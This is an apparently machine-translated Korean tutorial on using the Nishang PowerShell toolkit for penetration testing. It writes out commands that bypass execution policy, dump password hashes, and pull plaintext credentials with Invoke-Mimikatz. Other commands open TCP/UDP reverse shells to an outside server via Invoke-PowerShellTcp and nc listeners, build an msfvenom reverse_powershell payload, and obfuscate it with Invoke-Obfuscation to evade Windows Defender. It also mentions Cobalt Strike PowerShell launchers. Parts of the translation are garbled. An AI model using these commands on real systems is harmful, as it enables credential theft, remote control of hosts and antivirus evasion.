>운영 및 유지보수 >안전 >PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

WBOY
WBOY앞으로
2023-05-13 10:58:201262검색

초기 PowerShell, 먼저 개념을 이해해 보겠습니다. PowerShell은 Windows 플랫폼의 스크립트 언어인 cmd(bat 스크립트 언어)의 업그레이드 버전으로 간주할 수 있습니다. 이는 객체 지향적이며 .Net FrameWork와 밀접하게 관련되어 있습니다. Windows의 bash 쉘로도 간주할 수 있습니다. Windows PowerShell은 명령줄 사용자와 스크립터가 .NET Framework의 강력한 기능을 활용할 수 있도록 하는 명령줄 셸 및 스크립팅 환경입니다. Windows 명령 프롬프트 및 Windows 호스트 환경에서 얻은 지식과 스크립트를 더욱 확장하는 매우 유용한 새로운 개념을 많이 소개합니다. 코드는 메모리에서 실행되며 디스크에 닿지 않습니다. 대부분의 보안 제품은 cmd.exe의 실행을 감지할 수 없지만 PowerShell은 그렇지 않습니다. 실제로 침투 테스트 과정에서 일부 보호 소프트웨어를 우회해야 하는데, 스크립트나 기타 도구를 우회하는 것 외에도 PoweShell 도구도 좋은 선택입니다. 예를 들어, 우리는 대상 호스트에서 마법의 mimikatz를 캡처하기 위해 암호를 사용합니다. 프랑스 전문가가 작성한 이 마법의 도구는 모든 사람이 더 일반적으로 사용합니다. 가장 놀라운 점은 활성 Windows의 일반 텍스트 암호를 직접 얻을 수 있다는 것입니다. lsass.exe의 계정. 하지만 살인을 피하는 일을 잘하지 않으면 특정 살인 없는 가족 버킷을 직접 통과하게 될 것입니다. Powershell을 사용하면 공격자는 디스크를 건드리지 않고도 명령을 실행할 수 있습니다. 다음은 일반적으로 사용되는 몇 가지 도구입니다.

Nishang 소개

Nishang은 PowerShell 기반 침투 테스트를 위한 특수 도구로, 비밀번호 잡기, 포트 검색, 권한 상승 등과 같은 스크립트와 다양한 페이로드를 통합합니다. 이 도구는 일일 침투 테스트에서 초보자가 자주 사용합니다. 먼저 이 도구를 다운로드해야 합니다. 다운로드 주소는 https://github.com/samratashok/nishang입니다. 다운로드한 후 다음 도구에 포함된 내용을 확인할 수 있습니다

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

실험 환경은 침투 테스트 프로세스에서 일반적으로 사용되는 모듈을 시연하는 데 사용됩니다. 시연에 앞서 스크립트 실행에 대한 권한 문제, 모듈 가져오기 문제 등 powershell 도구를 실행할 때 발생하는 몇 가지 일반적인 오류에 대해 설명해야 합니다.

Powershell은 처음 모듈을 가져올 때 기본 정책이 허용되지 않기 때문에 허용하지 않습니다. 이때 이를 허용하도록 실행 정책을 변경해야 하는데 이를 원격 서명이라고 합니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

현재 실행 정책이 무엇인지 확인해 보겠습니다. 제한됨은 관리자 권한이 있어도 어떤 스크립트도 실행할 수 없습니다. 권한을 수정하고

Set-ExecutionPolicy 원격 서명을 실행해야 합니다. 현재 실행 정책을 다시 쿼리하면 원격 서명이 허용되며 나타나는 경고 메시지는 무시됩니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

실행하여 가져온 모듈의 스크립트 정보 보기: Get-Command -Module nishang

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

이 머신의 정보 나열: Get-Information

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

이제 실행도 제공합니다. 권한이 수정되었습니다. 데모 여행을 시작하겠습니다.

비밀번호 캡처의 물결

서버를 받으면 대상 호스트가 물리적 머신인지 가상 머신인지 알아야 합니다. Check-VM

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

우선, nishang 또한 비밀번호를 캡처하는 스크립트를 통합합니다. 먼저 해시 값을 캡처합니다.

#Get-PassHashes //간단하고 직접 캡처하여 dos 인터페이스에 표시합니다.

#powershell –exec 우회 –Command "& {Import -Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}" //해시 값을 가져와 사용자 지정 문서에 저장합니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

해시 값을 캡처할 수 있으므로 일반 텍스트 비밀번호도 캡처할 수 있습니다. 먼저 비밀번호를 캡처하는 스크립트를 살펴보겠습니다. Mimikatz 도구도 사용되지만 Powershell 스크립트에 로드될 뿐입니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

다음 명령을 사용하여 일반 텍스트 비밀번호를 얻을 수 있습니다.

#powershell –exec 우회 –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz }" 현재 시스템 사용자의 일반 텍스트 비밀번호를 직접 캡처해 보세요. (가장 많이 사용하는 명령어)

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

포트 리바운드의 물결

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

침투 테스트 중 포트 포워딩을 하던 중, 패밀리 버킷, nclcxsockes 에이전트 등을 죽이는 일련의 현상을 만났습니다. .때때로 그분은 죽임을 당하시고 잘려지셨습니다. 그러면 이때 nishang에서 포트 전달 스크립트를 사용할 수 있습니다. 내장된 포트 전달을 소개하는 것 외에도 여기서는 공용 네트워크 서버가 필요한 MSF를 사용한 포트 전달도 실험합니다.

1. TCP 포트 전달(역방향 연결)

공용 네트워크 서버에서 수신 대기 명령 실행: nc -lvp 5555

대상 호스트는 포트 전달 명령 Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx를 실행합니다. .115 - 포트 5555

이런 방식으로 대상 호스트와 공용 네트워크에서 각각 명령을 실행한 후 공용 네트워크 서버가 쉘을 바운스하여 인트라넷 서버의 명령을 실행할 수 있습니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

2. UDP 포트 전달(역방향 연결)

공용 네트워크 서버에서 수신 명령 실행: nc -lup 6666

대상 호스트는 포트 전달 명령 Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx .xxx.115 -포트 6666

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

순방향 연결 외에도 순방향 연결도 침투 테스트에 자주 사용합니다. . 이제 포트 전달에 powershell과 MSF를 사용합니다. 먼저 MSF에 powershell 모듈이 있는지 확인하는 명령을 사용합니다.

##msfvenom -l payloads |grep 'reverse_powershell //powershell 모듈의 위치를 ​​쿼리합니다. .

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

MSF를 사용하여 리바운드 포트를 생성하는 명령을 생성합니다.

##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //페이로드 생성, 다음을 입력합니다. Powershell 이며 빨간색으로 표시된 부분은 대상 호스트에서 실행해야 하는 명령입니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

다음 단계는 대상 호스트에서 방금 생성한 powershell 명령을 실행하고 공용 서버에서 포트 9999를 수신하는 것입니다. 이러한 방식으로 대상 호스트의 쉘을 공용 네트워크 서버로 성공적으로 바운스할 수 있습니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

우리가 생성하는 일반 페이로드는 Windows Defender에서 검사하므로 이 검사 메커니즘을 우회해야 하기 때문에 난독화를 사용하여 대상 호스트에서 Windows Defender를 우회할 수 있는 방법도 생각해 보겠습니다. 위의 페이로드를 난독화하여 Windows Defender를 우회하는 예로 들어보겠습니다. 때로는 대상 호스트에서 직접 생성한 일반 페이로드를 실행하는데 Windows Defender가 이를 직접 가로챌 수도 있습니다. 난독화 도구는 의심할 바 없이 Daniel Bohannon이 제공하는 Invoke-Obfuscation입니다. 프로젝트의 Github 페이지를 찾을 수 있습니다.

먼저 Invoke-Obfuscation 도구를 시작합니다.

Import-Module ./Invoke-Obfuscation.psd1 //Invoke-Obfuscation.psd1 가져오기;

Invoke-Obfuscation //Invoke-Obfuscation 도구 시작;

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

이제 방금 생성한 포트 전달 페이로드를 난독화하겠습니다. 먼저 다양한 난독화 방법의 매개변수를 살펴보겠습니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

페이로드의 어떤 부분을 난독화해야 하는지 미리 지정해야 합니다. 이는 다음 명령을 통해 수행할 수 있습니다.

Set scriptblock 'payload';

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

전체 명령을 문자열로 난독화하도록 선택합니다. (구체적인 선택은 특정 침투 테스트 환경을 기반으로 함):

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

ASCII 난독화를 위해 1을 선택합니다. 출력을 보려면 1.ps1을 입력합니다. 이 명령은 현재 디렉터리에 난독화된 파일을 저장하는 것과 동일합니다. 1로 끝납니다. ps1:

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

이 스크립트를 대상 호스트에서 실행합니다. 공용 네트워크 서버는 포트 9999를 수신하고 인트라넷 호스트의 셸을 성공적으로 바운스할 수도 있습니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

powershell과 cobaltstrike 도구는 다릅니다.

Cobalt Strike는 포트 전달, 서비스 검색, 자동화된 오버플로, 다중 모드 포트 모니터링, exe, powershell 트로이 목마 생성을 통합하는 Metasploit 기반 GUI 프레임워크 침투 테스트 도구입니다. , 등. 이 도구는 인트라넷 침투를 위한 강력한 도구이기도 합니다. 우리는 powershell과 Cobalt Strike가 어떤 종류의 스파크에 영향을 미칠 수 있는지에 대해 이야기하고 있습니다.

Cobalt Strike를 클라이언트와 서버에 각각 설치한 다음 이 도구를 시작해야 합니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

먼저 포트를 수신하고 공용 IP 주소를 호스트 주소로 쓴 다음 powershell이 ​​명령을 생성하고 대상 호스트에서 이 명령을 실행하면 대상 호스트가 온라인 상태가 되고 원격으로 비밀번호를 캡처하고 권한을 에스컬레이션하고 모니터링 및 기타 작업을 수행할 수 있습니다. 솔직히 말해서, 제가 여기서 만든 두 가지 도구는 단지 약간의 스파크일 뿐이며 관심 있는 전문가는 이 도구를 인트라넷 침투에 더 많이 사용할 수 있습니다.

위 내용은 PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제